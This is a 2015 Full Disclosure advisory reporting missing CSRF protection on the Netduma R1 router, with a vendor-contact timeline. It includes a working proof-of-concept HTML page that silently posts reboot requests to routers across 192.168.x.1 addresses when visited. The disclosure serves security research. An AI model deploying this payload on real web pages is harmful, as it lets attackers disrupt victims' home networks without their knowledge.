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Date: Tue, 29 Dec 2015 22:00:30 -0700
From: Josh Chaney <josh@...ney.io>
To: fulldisclosure@...lists.org
Subject: [FD] Netduma R1 Router CSRF

## Introduction

Affected Product:     	Netduma R1 Router
Affected Version(s):  	1.03.4 and 1.03.5
Link:                 		http://www.netduma.com/firmware/R1-v-1-03-4.sig
Vendor Website:       	https://netduma.com/
Vulnerability Type:  		CSRF
Remote Exploitable:   	Yes
Reported to vendor:   	11/19/2015
Disclosed to public:  	12/29/2015
Credits:              		@joshchaney

## Vulnerability Summary

There is no CSRF protection for any administrative actions, which would allow an attacker to modify router settings or reboot the router by getting the victim to visit an attacker controlled website.

## Proof of Concept

Reboot router:

<html>
  <head>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
  </head>
  <body>
    <script>
      var i = 1;
        while (i < 255) {
          $.post("http://192.168." + i + ".1/cgi-bin/reboot.sh");
          i++;
        }
    </script>
  </body>
</html>

## Report Timeline

11/19/2015  Informed vendor about issue through email
11/29/2015  Tweeted to vendor about issue
11/30/2015  Vendor tweeted that they would respond to email about issue
12/07/2015  Emailed known customer about issue who forwarded email to CEO
12/08/2015  CEO responded to email explaining he had passed the information to the lead developer
12/29/2015  Disclosed to public for lack of acknowledgement of issue

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